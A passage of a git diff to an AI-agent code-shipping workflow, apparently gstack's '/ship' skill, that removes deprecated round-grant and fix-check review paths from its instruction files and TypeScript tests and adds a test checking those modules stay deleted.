@@ -83,7 +83,7 @@ On `plan=none` Steps 8.1, 8.2 and 9.2.1 are skipped (L). The core checklist, Ste
9.3, 9.4 and the repeat decision as written (`JUDGMENT: ok` before any fix), fixes and persistence in
one program. Prints `Pre-Landing Review:`, `Gate edits:`. `NEXT: stop` stops; `full`
(every round 2): one program runs the failing test, fix, `--tests-only` and Phase 3, each gated (`diffBase` RANGE_BASE on a `full` round 2 only, never
-on the `READ_ONLY:` final review, which reads the whole PR and takes no fix); `fix-check` (only a pre-GST-3562 grant's, deprecated): the pass with `fixCheck: {fix_list, hunks, tests, callers}`; `done` or `voices`: that program runs Step 11 from
+on the `READ_ONLY:` final review, which reads the whole PR and takes no fix); `done` or `voices`: that program runs Step 11 from
`sections/adversarial.md` as written (above), only the voices the last full-pass plan lists (none:
`ADVERSARIAL: skipped (review plan)`).
diff --git a/ship/DRIVER.md.tmpl b/ship/DRIVER.md.tmpl
index c9b5b2562..067c0dea0 100644
--- a/ship/DRIVER.md.tmpl
+++ b/ship/DRIVER.md.tmpl
@@ -27,11 +27,10 @@ file, unchanged; its findings reach `merged.jsonl` only via `collect`; `judge` r
**Calls.** One pass with no fixes is 9 calls: Phases 1-8 and the report; at most 12 with a STOP's
section read or a repeat pass, plus a keep-alive per 200 s waited under ~80 min (longer: end the turn on one wait; no 10-15 min polls).
-**Budget: observe.** `gstack-ship-budget start --mode observe` only records: each program ends
-with `gstack-ship-budget note --step <last step> --reading R --credits C --record <rec>`, R and C read in it
-(Capy: `cost.tokens`, `cost.credits`). No check per step, no reservation, no meter-only
-call, no handoff; under `--token-cap` a note past the cap prints `verdict=stop`, the one stop check on spend.
-A dispatching program passes `--dispatched-at <R> --dispatched-credits <C> --readers <n>` (`BEFORE`).
+**Budget: start and close only.** `gstack-ship-budget start --mode observe` records the first reading and Step 22's
+`close` the last (R and C from the host; Capy: `cost.tokens`, `cost.credits`). No note per program, no check per step,
+no reservation, no meter-only call, no handoff. The pass's own note keeps the reader pair (`--dispatched-at <R>
+--dispatched-credits <C> --readers <n>`) and, under `--token-cap`, `verdict=stop`: the one stop check on spend.
**Waits.** No call waits past 200 s: a program returns what still runs 200 s after its first line; the next
call resumes the poll. Lanes, pregate, `finish` run in background; after a restart, rerun the same command. Never end the turn while
@@ -66,7 +65,8 @@ harness: start the eval selector and pre-merge command (detached past 30 min); e
record `evals: none affected`. Step 6.5 runs only if `gstack-greptile-early detect` finds
Greptile. Then `gstack-ship-preflight --audit --base <base> --out <run dir>` writes the diff once
(`CONTEXT:`) and the TODOS.md items on touched paths (`TODOS:`); prints the coverage map,
-plan candidates and `READER: coverage=<needed|none> plan=<needed|none>`; Phase 3 runs neither reader.
+plan candidates and `READER: coverage=<needed|none> plan=<needed|none>`; Phase 3 never runs the coverage reader; the plan reader only on `plan=needed`.
+A plan agreed only in conversation reads `plan=none`: before `--audit`, write it to `.gstack/plans/<branch>.md` naming the branch.
Never read TODOS.md or the full diff into the parent. A `PERSIST:` hint never replaces Step 9.
## 3. Audits and review: Steps 7, 8, 9, 9.1, 9.2, 9.2.1
@@ -81,7 +81,7 @@ On `plan=none` Steps 8.1, 8.2 and 9.2.1 are skipped (L). The core checklist, Ste
9.3, 9.4 and the repeat decision as written (`JUDGMENT: ok` before any fix), fixes and persistence in
one program. Prints `Pre-Landing Review:`, `Gate edits:`. `NEXT: stop` stops; `full`
(every round 2): one program runs the failing test, fix, `--tests-only` and Phase 3, each gated (`diffBase` RANGE_BASE on a `full` round 2 only, never
-on the `READ_ONLY:` final review, which reads the whole PR and takes no fix); `fix-check` (only a pre-GST-3562 grant's, deprecated): the pass with `fixCheck: {fix_list, hunks, tests, callers}`; `done` or `voices`: that program runs Step 11 from
+on the `READ_ONLY:` final review, which reads the whole PR and takes no fix); `done` or `voices`: that program runs Step 11 from
`sections/adversarial.md` as written (above), only the voices the last full-pass plan lists (none:
`ADVERSARIAL: skipped (review plan)`).
diff --git a/ship/SKILL.md b/ship/SKILL.md
index 78cfb4321..5534912e0 100644
--- a/ship/SKILL.md
+++ b/ship/SKILL.md
@@ -501,8 +501,7 @@ repeat Step 2 (decisions included) on the merged content, then Step 4.
## Step 11.5: Bind the reviews
1. **Select the two reviews.** Run `~/.claude/skills/gstack/bin/gstack-review-read`.
- Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`, or a
- last 3.5 `review-fix-check`) and Step 11 native record (`skill:"adversarial-review"`;
+ Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`) and Step 11 native record (`skill:"adversarial-review"`;
none after `ADVERSARIAL: skipped`). Match each to its saved
handle, original token and source; reject outside-provider or older records.
2. **Compare their content.** All three snapshots must match: the native record's
diff --git a/ship/SKILL.md.tmpl b/ship/SKILL.md.tmpl
index edc3f2fd0..d1632def1 100644
--- a/ship/SKILL.md.tmpl
+++ b/ship/SKILL.md.tmpl
@@ -216,8 +216,7 @@ repeat Step 2 (decisions included) on the merged content, then Step 4.
## Step 11.5: Bind the reviews
1. **Select the two reviews.** Run `~/.claude/skills/gstack/bin/gstack-review-read`.
- Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`, or a
- last 3.5 `review-fix-check`) and Step 11 native record (`skill:"adversarial-review"`;
+ Select this invocation's final Step 9 record (`skill:"review"`, `via:"ship"`) and Step 11 native record (`skill:"adversarial-review"`;
none after `ADVERSARIAL: skipped`). Match each to its saved
handle, original token and source; reject outside-provider or older records.
2. **Compare their content.** All three snapshots must match: the native record's
diff --git a/ship/sections/pr-body.md b/ship/sections/pr-body.md
index 638f5b8af..19225423b 100644
--- a/ship/sections/pr-body.md
+++ b/ship/sections/pr-body.md
@@ -265,8 +265,7 @@ A Step 5 red-base pause adds `--base-red <pause file>` (a conditional receipt th
refuses, `QUEUE_RECEIPT_CONDITIONAL`). `--docs` reads the record Step 14.5 saved (`{status, scope[, exception]}`): the
receipt carries it as `docs`, and a `blocked` status without the owner's exception,
or a body missing the exception line, is `DOCS_AUDIT_BLOCKED` with nothing written.
-`--review-loop-exception` (an owner's acceptance of a stop after a fix-check edit) is deprecated with fix-check grants and goes
-in the next release; write still takes one recorded before GST-3562. After the round cap, a blocker goes to the lane's Captain,
+There is no review-loop exception (GST-3562 part 4). After the round cap, a blocker goes to the lane's Captain,
whose ruling is a ruled note (below); never a prose line under `REVIEW_LOOP:`.
A finding the owner rules a disclosed note instead of a fix is closed only by the owner's
`gstack-approvals rule`, recorded outside this run, never by this run or a review-log field
diff --git a/ship/sections/pr-body.md.tmpl b/ship/sections/pr-body.md.tmpl
index 494e0d2b6..af5b2e1b2 100644
--- a/ship/sections/pr-body.md.tmpl
+++ b/ship/sections/pr-body.md.tmpl
@@ -248,8 +248,7 @@ A Step 5 red-base pause adds `--base-red <pause file>` (a conditional receipt th
refuses, `QUEUE_RECEIPT_CONDITIONAL`). `--docs` reads the record Step 14.5 saved (`{status, scope[, exception]}`): the
receipt carries it as `docs`, and a `blocked` status without the owner's exception,
or a body missing the exception line, is `DOCS_AUDIT_BLOCKED` with nothing written.
-`--review-loop-exception` (an owner's acceptance of a stop after a fix-check edit) is deprecated with fix-check grants and goes
-in the next release; write still takes one recorded before GST-3562. After the round cap, a blocker goes to the lane's Captain,
+There is no review-loop exception (GST-3562 part 4). After the round cap, a blocker goes to the lane's Captain,
whose ruling is a ruled note (below); never a prose line under `REVIEW_LOOP:`.
A finding the owner rules a disclosed note instead of a fix is closed only by the owner's
`gstack-approvals rule`, recorded outside this run, never by this run or a review-log field
diff --git a/ship/sections/review-army.md b/ship/sections/review-army.md
index 705a28209..33237394b 100644
--- a/ship/sections/review-army.md
+++ b/ship/sections/review-army.md
@@ -19,9 +19,7 @@ Finish the complete review and QA before applying any fix in Step 9.4.
--base <base>`, plus `--depth-floor <d>` on every plan run when the /ship prompt
gave `--depth-floor <d>` (it only raises), and Step 1's `PR_REVIEW_FLAGS:` on every plan run (the PR's
earlier rounds; past two, a head whose code changed gets one read-only full review (`READ_ONLY:`, no fix round), and `PR_ROUND_CAP`
-stops for the lane, never the owner). Round grants and fix-check grants are deprecated and go in the next release: ask for and
-record none. When an older grant still puts `--round-grant <id>` there, run `gstack-ship-receipt claim --pr <n> --run <SESSION_ID> --grant <id>`
-before the first dispatch (`GRANT_SPENT` stops the run), then follow the plan's `NEXT:`. Add `--declare-risk <classes>` when the diff touches a risk
+stops for the lane, never the owner). There are no round or fix-check grants (GST-3562 part 4); follow the plan's `NEXT:`. Add `--declare-risk <classes>` when the diff touches a risk
class the plan's `REVIEW_DEPTH:` misses (spend it reserves or binds: `money`), and give Step 16's
receipt write the same flag; a repeat uses the plan run that picked it.
Round 2 is always a `full` pass on the range, never a scoped one: every reader it plans is in the pass's manifest.
@@ -834,7 +832,7 @@ logged a CRITICAL, `--adversarial-ran` once Step 11's native pass ran, `--review
`--depth-floor <d>` when given), `--range-base $PASS_HEAD` and `--pass1-depth <pass 1's REVIEW_DEPTH>`;
its `NEXT:` alone picks the next decision: `stop` 2, `full` 3, `done` 4, `platform` 4. `voices` 4: Step 11 runs before the stop.
Any code change after round 1 gets a full round 2; a fix in the last round gets the read-only final review (`READ_ONLY:`);
-after it the PR ships with its open notes or the lane's Captain rules. `fix-check` (3.5) comes only from a grant recorded before GST-3562.
+after it the PR ships with its open notes or the lane's Captain rules.
Other scopes apply decisions 2–4 in order.
1. **Dispatched reviewer output missing:** STOP and name each failed specialist or
@@ -850,13 +848,6 @@ Other scopes apply decisions 2–4 in order.
past what the request needs (a helper, a guard, a case nothing takes), cut that
growth before anything else; the repeat reviews the cut as part of the range. Tests must pass or retain approval for the same verified pre-existing
failures and scope. Keep CYCLES and scoped approvals across this repeat; PASS increments on entry.
-3.5. **A fix-check from an older grant** (deprecated, removed next release; /ship plans none). Take a `gstack-review-log --start review-fix-check` token (`--reservation <id>` under a cap); write the
- fix list, touched hunks (`git diff $PASS_HEAD`), callers of changed symbols and
- test results to `.gstack/tmp/fix-check-*.txt`; dispatch one full-effort reviewer
- on `gstack-review-plan --fix-check-prompt --fix-list <f> --hunks <f> --tests <f>
- --callers <f>`, plus the outside voice only if the plan lists it. Log item 6's
- row as `"skill":"review-fix-check"` with `--finish <token>`; not a pass. A
- CRITICAL goes to decision 2; otherwise decision 4.
4. **No edits in this pass:** Resolve the required-probe gate below. Only after it
clears may you continue to Step 10. A pass whose only findings were deferred or
noted applied no edits and continues here: the loop converges below the floor.
diff --git a/ship/sections/review-army.md.tmpl b/ship/sections/review-army.md.tmpl
index 074464a05..d1170143a 100644
--- a/ship/sections/review-army.md.tmpl
+++ b/ship/sections/review-army.md.tmpl
@@ -17,9 +17,7 @@ Finish the complete review and QA before applying any fix in Step 9.4.
--base <base>`, plus `--depth-floor <d>` on every plan run when the /ship prompt
gave `--depth-floor <d>` (it only raises), and Step 1's `PR_REVIEW_FLAGS:` on every plan run (the PR's
earlier rounds; past two, a head whose code changed gets one read-only full review (`READ_ONLY:`, no fix round), and `PR_ROUND_CAP`
-stops for the lane, never the owner). Round grants and fix-check grants are deprecated and go in the next release: ask for and
-record none. When an older grant still puts `--round-grant <id>` there, run `gstack-ship-receipt claim --pr <n> --run <SESSION_ID> --grant <id>`
-before the first dispatch (`GRANT_SPENT` stops the run), then follow the plan's `NEXT:`. Add `--declare-risk <classes>` when the diff touches a risk
+stops for the lane, never the owner). There are no round or fix-check grants (GST-3562 part 4); follow the plan's `NEXT:`. Add `--declare-risk <classes>` when the diff touches a risk
class the plan's `REVIEW_DEPTH:` misses (spend it reserves or binds: `money`), and give Step 16's
receipt write the same flag; a repeat uses the plan run that picked it.
Round 2 is always a `full` pass on the range, never a scoped one: every reader it plans is in the pass's manifest.
@@ -244,7 +242,7 @@ logged a CRITICAL, `--adversarial-ran` once Step 11's native pass ran, `--review
`--depth-floor <d>` when given), `--range-base $PASS_HEAD` and `--pass1-depth <pass 1's REVIEW_DEPTH>`;
its `NEXT:` alone picks the next decision: `stop` 2, `full` 3, `done` 4, `platform` 4. `voices` 4: Step 11 runs before the stop.
Any code change after round 1 gets a full round 2; a fix in the last round gets the read-only final review (`READ_ONLY:`);
-after it the PR ships with its open notes or the lane's Captain rules. `fix-check` (3.5) comes only from a grant recorded before GST-3562.
+after it the PR ships with its open notes or the lane's Captain rules.
Other scopes apply decisions 2–4 in order.
1. **Dispatched reviewer output missing:** STOP and name each failed specialist or
@@ -260,13 +258,6 @@ Other scopes apply decisions 2–4 in order.
past what the request needs (a helper, a guard, a case nothing takes), cut that
growth before anything else; the repeat reviews the cut as part of the range. Tests must pass or retain approval for the same verified pre-existing
failures and scope. Keep CYCLES and scoped approvals across this repeat; PASS increments on entry.
-3.5. **A fix-check from an older grant** (deprecated, removed next release; /ship plans none). Take a `gstack-review-log --start review-fix-check` token (`--reservation <id>` under a cap); write the
- fix list, touched hunks (`git diff $PASS_HEAD`), callers of changed symbols and
- test results to `.gstack/tmp/fix-check-*.txt`; dispatch one full-effort reviewer
- on `gstack-review-plan --fix-check-prompt --fix-list <f> --hunks <f> --tests <f>
- --callers <f>`, plus the outside voice only if the plan lists it. Log item 6's
- row as `"skill":"review-fix-check"` with `--finish <token>`; not a pass. A
- CRITICAL goes to decision 2; otherwise decision 4.
4. **No edits in this pass:** Resolve the required-probe gate below. Only after it
clears may you continue to Step 10. A pass whose only findings were deferred or
noted applied no edits and continues here: the loop converges below the floor.
diff --git a/test/approval-record.test.ts b/test/approval-record.test.ts
index e1d162d8a..aa8e8c67c 100644
--- a/test/approval-record.test.ts
+++ b/test/approval-record.test.ts
@@ -88,17 +88,6 @@ describe('gstack-approvals add and render', () => {
expect(control.err).toContain('pii.phone.e164');
});
- test("the owner's grant for a stop head whose short sha is all digits records (Free Tests 41667825418, 41766865679)", () => {
- const cwd = repo(); const state = tmp('appr-state-');
- const ask = 'Owner grant: one scoped fix-check after round 2 (review_loop_grant 367120488513)';
- const r = bin(['add', '--ask', ask, '--words', 'do it', '--by', 'GStack Minder', '--scope', 'this /ship invocation'], { cwd, env: { GSTACK_STATE_ROOT: state } });
- expect(r.status, r.err).toBe(0);
- const file = /^APPROVAL_RECORDED: a-[0-9a-f]{12} (.*\.jsonl)$/m.exec(r.out)![1]!;
- expect(fs.readFileSync(file, 'utf8')).toContain('review_loop_grant 367120488513');
- const control = bin(['add', '--ask', 'Owner grant (review_loop_grant 367120488513), call 367120488513 first', '--words', 'do it', '--by', 'g', '--scope', 's'], { cwd, env: { GSTACK_STATE_ROOT: state } });
- expect(control.status).toBe(3);
- expect(control.err).toContain('field ask: pii.phone.e164');
- });
test('missing fields, bad outcomes and impossible dates are usage errors', () => {
const cwd = repo(); const state = tmp('appr-state-');
@@ -639,20 +628,10 @@ describe('APPROVAL_RECORD_INVALID names the failed check and no other command (#
expect(noBy).not.toMatch(/uppercase/);
});
- test('round-grant: a bad ref is refused for its shape alone; a good ref without --words names --words', () => {
- const grant = ['round-grant', '--pr', '7', '--head', 'HEAD', '--kind', 'extra-round', '--reason', 'r', '--by', 'Captain'];
- const bad = split(bin([...grant, '--owner-ref', 'ship-161:x', '--words', 'w'], committed()).err).why;
- expect(bad).toMatch(/uppercase/);
- expect(bad).not.toContain('ship-161');
- expect(bad).not.toContain('--words');
- const noWords = split(bin([...grant, '--owner-ref', REF], committed()).err).why;
- expect(noWords).toContain('--words');
- expect(noWords).not.toMatch(/uppercase/);
- });
- test('the fix clause of rule, round-grant, lane-exception and gate names no flag of add', () => {
+ test('the fix clause of rule, lane-exception and gate names no flag of add', () => {
const o = committed();
- for (const args of [[...RULE, '--words', 'A', '--by', 'owner', '--owner-ref', BAD], ['round-grant'], ['lane-exception'], ['gate']]) {
+ for (const args of [[...RULE, '--words', 'A', '--by', 'owner', '--owner-ref', BAD], ['lane-exception'], ['gate']]) {
const r = bin(args, o);
expect([args[0], r.status, r.err]).toEqual([args[0], 2, expect.stringContaining('(APPROVAL_RECORD_INVALID)')]);
const { fix } = split(r.err);
@@ -664,3 +643,10 @@ describe('APPROVAL_RECORD_INVALID names the failed check and no other command (#
});
});
+// Value: protects=GST-3562 part 4 removed the round-grant and fix-check clearing modules with every caller; fails_when=either
+// comes back as a second path that grants rounds or clears fix-checks; seam=the repository tree
+describe('the grant and fix-check modules stay removed (GST-3562 part 4)', () => {
+ test('lib/review-round-grant.ts and lib/fix-check-clearing.ts are gone', () => {
+ for (const f of ['lib/review-round-grant.ts', 'lib/fix-check-clearing.ts']) expect([f, fs.existsSync(path.join(ROOT, f))]).toEqual([f, false]);
+ });
+});
diff --git a/test/capy-host-publish.test.ts b/test/capy-host-publish.test.ts
index 4a5406c5c..02e630c55 100644
--- a/test/capy-host-publish.test.ts
+++ b/test/capy-host-publish.test.ts
@@ -118,7 +118,7 @@ describe('on Capy, /ship calls no gh write (GST-3183)', () => {
expect(fs.readFileSync(file(out.stdout), 'utf8')).not.toContain('"run":"r2"');
});
- test('gstack-ship-receipt stop and claim hand their body edits off too', () => {
+ test('gstack-ship-receipt stop hands its body edit off too', () => {
const r = capyRepo();
const start = r.run('gstack-review-log', ['--start', 'review']);
expect(start.status, start.stderr).toBe(0);
@@ -129,13 +129,6 @@ describe('on Capy, /ship calls no gh write (GST-3183)', () => {
expect(stop.stdout).toContain('STOP_RECORD: run=ro head=' + r.head());
expect(handedOff(stop.stdout)[0]!.body).toContain('"mark":"stop"');
expect(destinations(stop.stdout)).toEqual([{ op: 'pr-body', target: '7', repo: 'fx/fx' }]);
- const g = /APPROVAL_RECORDED: (a-[0-9a-f]{12})/.exec(r.run('gstack-approvals', ['round-grant', '--pr', '7', '--head', r.head(), '--kind', 'extra-round', '--reason', 'x', '--by', 'Captain GStack Minder']).stdout)?.[1];
- expect(g).toBeDefined();
- const claim = r.run('gstack-ship-receipt', ['claim', '--pr', '7', '--run', 'r1', '--grant', g!]);
- expect(claim.status, claim.stderr).toBe(0);
- expect(claim.stdout).toContain('GRANT_CLAIMED: grant=' + g);
- expect(handedOff(claim.stdout)[0]!.body).toContain('"mark":"grant"');
- expect(destinations(claim.stdout)).toEqual([{ op: 'pr-body', target: '7', repo: 'fx/fx' }]);
expect(r.gh.writes()).toEqual([]);
});
diff --git a/test/exercised-map.test.ts b/test/exercised-map.test.ts
index a12363f3f..031731006 100644
--- a/test/exercised-map.test.ts
+++ b/test/exercised-map.test.ts
@@ -332,7 +332,7 @@ describe('parity with the measured prototype', () => {
'lib/ship-receipt-prose.ts': 'bin/gstack-ship-receipt imports it (read --check-prose), so it reaches every consumer of the receipt binary',
'lib/ship-clock.ts': 'G2: bin/gstack-ship-receipt (write --budget-record), lib/ship-budget-cli.ts (note, resume) and lib/ship-phase.ts import it, so it reaches every consumer of the receipt and budget binaries',
'scripts/resolvers/load-injection.ts': 'GST-3157: the preamble resolvers (generate-preamble-bash, preamble-hoist) and scripts/gen-skill-docs.ts import it, so it reaches every consumer of the generated skills',
- 'lib/fix-check-clearing.ts': 'GST-3260: lib/ship-release.ts (finish), lib/review-evidence.ts (gstack-review-log), lib/review-pass.ts and the receipt and review-plan bins import it, so it reaches every consumer of finish, the review logger, the pass program and receipt write',
+ 'lib/review-trailer-clearing.ts': 'GST-3562 part 4: bin/gstack-ship-receipt (write) imports it, so it reaches every consumer of the receipt binary',
'lib/ship-run-record.ts': 'GST-3260: lib/ruled-notes.ts, lib/gate-dispositions.ts, the preflight, release and receipt libraries and bins, gstack-review-log and gstack-skill-end read or beat the run record, so it reaches every consumer of those guards',
'lib/default-base.ts': 'GST-511/GST-774: lib/ship-policy.ts (resolveBaseBranch), lib/gate-diff/git.ts, lib/pregate/context.ts, lib/ship-receipt-depth.ts and the review-plan, gate-diff, pregate, docs-candidate and diff-scope bins import or run it, so it reaches every consumer of those readers',
};
diff --git a/test/fix-check-clearing.test.ts b/test/fix-check-clearing.test.ts
deleted file mode 100644
index 2721835f5..000000000
--- a/test/fix-check-clearing.test.ts
+++ /dev/null
@@ -1,339 +0,0 @@
-/**
- * GST-3260 PR 2: a granted fix-check that read the fix clean closes exactly the findings its grant names, with no owner ruling.
- * Before, a clean fix-check under a fix-check grant left RECEIPT_BLOCKER_OPEN (gstack #4537, harness-evals #508, #4585, #4567),
- * a Review-Finding trailer whose fix a later full round read clean stayed open (#4597), and finish anchored a granted fix-check on
- * the newest reviewed tree instead of the stop the grant names (#4612). The closed #4546 tried this and its second-model trail
- * reads found the gaps each negative case below pins (captain drive reports/GSTA-665.md). Fixtures are synthetic; the replays
- * follow each case's shape, not its bytes.
- */
-import { afterAll, afterEach, beforeAll, describe, expect, setDefaultTimeout, test } from 'bun:test';
-import * as fs from 'node:fs';
-import * as path from 'node:path';
-import { bindFixCheckRow, clearByGrant, clearByTrailer, grantSpent } from '../lib/fix-check-clearing';
-import { hunksDigest } from '../lib/review-evidence';
-import { grantMarker, placeRunEntry, stopMarker } from '../lib/pr-review-history';
-import { readReviewRoundGrants, type ReviewRoundGrant } from '../lib/review-round-grant';
-import { extractReceipt, receiptRuns } from '../lib/ship-receipt';
-import { renderFixCheckPrompt } from '../scripts/resolvers/fix-check';
-import { RELEASE, shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
-
-setDefaultTimeout(120_000);
-const BIN = path.dirname(RELEASE);
-const fxs: ShipFx[] = [];
-afterEach(() => { while (fxs.length) fxs.pop()!.cleanup(); });
-
-const ID = 'p1/outside-voice#1', FP = 'src/x.ts:1:outside-voice';
-const TEST = "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); });\n";
-const blocker = { fingerprint: FP, severity: 'CRITICAL', action: 'open', blocking: true, ledger_id: ID, raised_by: 'outside-voice' };
-const CLEAN = { completed: true, converged: true, status: 'clean', issues_found: 0, critical: 0, informational: 0, findings: [] };
-
-type Granted = { f: ShipFx; run: (bin: string, args: string[]) => ReturnType<ShipFx['run']>; S: string; F: string; grant: string; body: string; since: string; fixRun: string };
-const headOf = (f: ShipFx) => f.git('rev-parse', 'HEAD').stdout.trim();
-const marker = (f: ShipFx, run: string) => fs.writeFileSync(path.resolve(f.work, f.git('rev-parse', '--git-path', 'gstack-ship-run').stdout.trim()), run + '\n');
-const ok = (r: { status: number | null; stderr: string; stdout: string }) => { expect(r.status, r.stderr + r.stdout).toBe(0); return r.stdout; };
-
-/** A full review row through the logger: --start, then the row with --finish, bound to the committed HEAD. */
-function logRow(g: Pick<Granted, 'run'>, skill: string, row: Record<string, unknown>) {
- const start = ok(g.run('gstack-review-log', ['--start', skill])).trim();
- ok(g.run('gstack-review-log', [JSON.stringify({ skill, timestamp: new Date().toISOString(), via: 'ship', review_scope: 'frozen', ...row }), '--finish', start]));
-}
-
-/**
- * The stopped run stops on a review that left ID open at S and records the stop; the lane grants one fix-check naming it; the fix
- * run (the stop's own run for harness-evals #508, a new run for gstack #4537) claims the grant, commits the fix at F and runs the
- * fix-check from the stop head through the logger and gstack-review-plan --fix-check-prompt, which records its hunks.
- */
-function grantedRun(o: { sameRun: boolean; fixRow?: Record<string, unknown>; extra?: Record<string, string>; hunkPaths?: string[] }): Granted {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': TEST });
- fxs.push(f);
- const run = (bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
- const body = path.join(f.root, 'body.md');
- fs.writeFileSync(body, 'Fixes a thing.\n');
- const since = new Date(Date.now() - 1000).toISOString();
- const S = headOf(f);
- marker(f, 'ro');
- logRow({ run }, 'review', { pass: 1, completed: true, converged: false, status: 'issues_found', issues_found: 1, critical: 1, informational: 0, findings: [blocker] });
- ok(run('gstack-ship-receipt', ['stop', '--body', body, '--pr', '7', '--run', 'ro', '--since', since]));
- const grant = /APPROVAL_RECORDED: (a-[0-9a-f]{12})/.exec(ok(run('gstack-approvals', ['round-grant', '--pr', '7', '--head', S, '--kind', 'fix-check', '--stop-run', 'ro', '--findings', ID, '--reason', 'fixable blocker', '--by', 'Captain GStack Minder (GSTA-36)'])))![1]!;
- const fixRun = o.sameRun ? 'ro' : 'fc1';
- if (!o.sameRun) marker(f, fixRun);
- f.write({ 'src/x.ts': 'export const x = 3;\n', ...o.extra }); f.commit('fix the blocker');
- const F = headOf(f);
- expect(ok(run('gstack-ship-receipt', ['claim', '--body', body, '--run', fixRun, '--grant', grant]))).not.toContain('RUN_RECORD');
- const start = ok(run('gstack-review-log', ['--start', 'review-fix-check'])).trim();
- const files = Object.entries({ fixes: 'fix ' + ID + '\n', hunks: f.git('diff', S, F, ...(o.hunkPaths ? ['--', ...o.hunkPaths] : [])).stdout, tests: '3 pass\n' }).map(([k, v]) => { const p = path.join(f.root, k + '.txt'); fs.writeFileSync(p, v); return p; });
- ok(run('gstack-review-plan', ['--fix-check-prompt', '--fix-list', files[0]!, '--hunks', files[1]!, '--tests', files[2]!]));
- ok(run('gstack-review-log', [JSON.stringify({ skill: 'review-fix-check', timestamp: new Date().toISOString(), via: 'ship', review_scope: 'frozen', range_base: S, ...CLEAN, ...o.fixRow }), '--finish', start]));
- return { f, run, S, F, grant, body, since, fixRun };
-}
-
-const rowsOf = (g: Granted) => g.run('gstack-review-read', []).stdout.split('\n---CONFIG---')[0]!.split('\n').flatMap(l => { try { const v = JSON.parse(l); return v && typeof v === 'object' ? [v] : []; } catch { return []; } });
-const grantsOf = (g: Granted) => readReviewRoundGrants(g.f.work, { ...process.env, GSTACK_STATE_ROOT: g.f.state, GSTACK_HOME: g.f.state });
-
-/** /ship Step 19: the summary since the stopped run began, then write for the fix run. */
-function summaryThenWrite(g: Granted, extra: string[] = []) {
- const loop = path.join(g.f.root, 'loop.json');
- ok(g.run('gstack-review-scope', ['summary', '--since', g.since, '--no-ledger', '--out', loop]));
- return { loop: JSON.parse(fs.readFileSync(loop, 'utf8')), w: g.run('gstack-ship-receipt', ['write', '--pr', '7', '--run', g.fixRun, '--base', 'main', '--session-kind', 'unattended', '--review-loop', '@' + loop, '--body', g.body, ...extra]) };
-}
-
-describe('the logger stamps a granted fix-check row from the run record\'s claim (amendment A)', () => {
- // Value: protects=the range a granted fix-check read comes from the claim, never from an agent-typed range; fails_when=the row
- // carries no fix_check_base, or the agent's own fix_check_base or grant survives, or the row turns into a fix-range pass;
- // seam=gstack-review-log --start/--finish, gstack-review-plan --fix-check-prompt
- test('fix_check_base, run, grant, pr and the hunks digest are stamped, and scope stays a normal verified row', () => {
- const g = grantedRun({ sameRun: false, fixRow: { fix_check_base: 'f'.repeat(40), grant: 'a-000000000000', run: 'forged' } });
- const row = rowsOf(g).filter(r => r.skill === 'review-fix-check').at(-1)!;
- expect(row).toMatchObject({ fix_check_base: g.S, run: 'fc1', grant: g.grant, pr: 7, hunks: hunksDigest(g.f.git('diff', g.S, g.F).stdout), review_binding: { state: 'verified' } });
- expect(row.scope).toBeUndefined();
- expect(bindFixCheckRow(g.f.work, row, grantsOf(g))).toMatchObject({ ok: true, base: g.S, commit: g.F });
- });
-});
-
-describe('a granted, clean fix-check closes exactly its grant\'s findings at write (positive replays)', () => {
- // Value: protects=gstack #4537, a new run answers another run's stop and its clean fix-check closes the blocker with no ruling;
- // fails_when=write refuses RECEIPT_BLOCKER_OPEN; seam=gstack-ship-receipt write
- test('gstack #4537: a new run spends the grant on the read-only run\'s stop', () => {
- const g = grantedRun({ sameRun: false });
- const { loop, w } = summaryThenWrite(g);
- expect(loop.open).toEqual([{ id: ID, fingerprint: FP }]);
- expect(w.status, w.stderr).toBe(0);
- expect(w.stderr).toContain('FIX_CHECK_CLEAR: grant=' + g.grant + ' run=fc1 closed=' + ID);
- expect(extractReceipt(fs.readFileSync(g.body, 'utf8')).receipt).toMatchObject({ cleared_by_grant: { approval: g.grant, run: 'fc1', ids: [ID] } });
- expect(fs.readFileSync(g.body, 'utf8')).toContain('Closed by grant ' + g.grant + ': ' + ID + ' (the granted fix-check of run fc1 read the fix clean)');
- });
-
- // Value: protects=harness-evals #508, the run that stopped claims its own stop's grant and closes it; fails_when=write refuses
- // RECEIPT_BLOCKER_OPEN; seam=gstack-ship-receipt write
- test('harness-evals #508: the stopped run spends the grant on its own stop', () => {
- const g = grantedRun({ sameRun: true });
- const { w } = summaryThenWrite(g);
- expect(w.status, w.stderr).toBe(0);
- expect(JSON.parse(g.run('gstack-ship-receipt', ['read', '--body', g.body, '--json']).stdout)).toMatchObject({ cleared_by_grant: { run: 'ro', ids: [ID] } });
- });
-
- // Value: protects=#4612, finish anchors a granted fix-check on the stop the grant names, not the newest reviewed tree;
- // fails_when=FIX_CHECK: not counted (range_base ... does not hold the reviewed tree); seam=gstack-ship-release finish
- test('#4612: finish counts the stamped fix-check when the reviewed tree it was given is the fix commit\'s', () => {
- const g = grantedRun({ sameRun: false });
- const post = path.join(g.f.root, 'post.json');
- ok(g.run('gstack-docs-candidate', ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']));
- const tree = g.f.git('rev-parse', g.F + '^{tree}').stdout.trim();
- const fin = g.f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', tree, '--docs-post', post, '--reviewed-base', g.f.git('merge-base', 'origin/main', 'HEAD').stdout.trim(), '--lane', 'tests=printf " 3 pass\\n 0 fail\\nRan 3 tests across 1 file. [5.00ms]\\n"'], { GSTACK_APPROVALS_MIRROR: '0' });
- expect(fin.stdout).toContain('FIX_CHECK: reviewed none (fix-check at ' + g.F.slice(0, 12) + ', range from ' + g.S.slice(0, 12) + ', grant ' + g.grant + ')');
- const { w } = summaryThenWrite(g);
- expect(w.status, w.stderr).toBe(0);
- });
-
- // Value: protects=#4597, a fix whose Review-Finding trailer a later full round read clean closes; fails_when=write refuses
